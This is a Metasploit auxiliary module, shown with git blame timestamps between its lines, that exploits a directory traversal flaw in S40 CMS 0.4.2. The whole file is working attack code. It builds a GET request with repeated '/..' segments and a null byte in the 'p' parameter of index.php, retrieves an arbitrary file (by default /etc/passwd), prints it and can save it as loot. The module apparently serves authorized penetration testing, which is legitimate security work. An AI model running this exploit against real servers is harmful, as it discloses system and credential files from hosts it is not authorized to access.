2012-05-31 09:43:57 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-05-31 09:43:57 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2012-05-31 09:43:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2014-06-12 17:20:44 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
2012-05-31 09:43:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'S40 0.4.2 CMS Directory Traversal Vulnerability',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a directory traversal vulnerability found in S40 CMS.
|
|
|
|
The flaw is due to the 'page' function not properly handling the $pid parameter,
|
|
|
|
which allows a malicious user to load an arbitrary file path.
|
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '82469'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'EDB', '17129' ]
|
|
|
|
],
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Osirys <osirys[at]autistici.org>', #Discovery, PoC
|
|
|
|
'sinn3r'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'DisclosureDate' => "Apr 7 2011"
|
|
|
|
))
|
2012-05-31 09:43:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80),
|
|
|
|
OptString.new("TARGETURI", [true, 'The base path to S40', '/s40/']),
|
|
|
|
OptString.new("FILE", [true, 'The file to retrieve', '/etc/passwd']),
|
|
|
|
OptBool.new('SAVE', [false, 'Save the HTTP body', false]),
|
|
|
|
OptInt.new("DEPTH", [true, 'Traversal depth', 10])
|
|
|
|
], self.class)
|
|
|
|
end
|
2012-05-31 09:43:57 +00:00
|
|
|
|
2014-06-12 17:20:44 +00:00
|
|
|
def run_host(ip)
|
2013-08-30 21:28:54 +00:00
|
|
|
uri = target_uri.path
|
|
|
|
uri << '/' if uri[-1, 1] != '/'
|
2012-05-31 09:43:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
t = "/.." * datastore['DEPTH']
|
2012-05-31 09:43:57 +00:00
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_status("Retrieving #{datastore['FILE']}")
|
2012-05-31 09:43:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# No permission to access.log or proc/self/environ, so this is all we do :-/
|
|
|
|
uri = normalize_uri(uri, 'index.php')
|
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "#{uri}/?p=#{t}#{datastore['FILE']}%00"
|
|
|
|
})
|
2012-05-31 09:43:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if not res
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_error("Server timed out")
|
2013-08-30 21:28:54 +00:00
|
|
|
elsif res and res.body =~ /Error 404 requested page cannot be found/
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_error("Either the file doesn't exist, or you don't have the permission to get it")
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
|
|
|
# We don't save the body by default, because there's also other junk in it.
|
|
|
|
# But we still have a SAVE option just in case
|
2016-02-01 22:06:34 +00:00
|
|
|
print_good("#{datastore['FILE']} retrieved")
|
2014-06-12 17:20:44 +00:00
|
|
|
vprint_line(res.body)
|
2012-05-31 09:43:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if datastore['SAVE']
|
|
|
|
p = store_loot(
|
|
|
|
's40.file',
|
|
|
|
'application/octet-stream',
|
|
|
|
rhost,
|
|
|
|
res.body,
|
|
|
|
::File.basename(datastore['FILE'])
|
|
|
|
)
|
2016-02-01 22:06:34 +00:00
|
|
|
print_good("File saved as: #{p}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2012-06-04 14:34:28 +00:00
|
|
|
end
|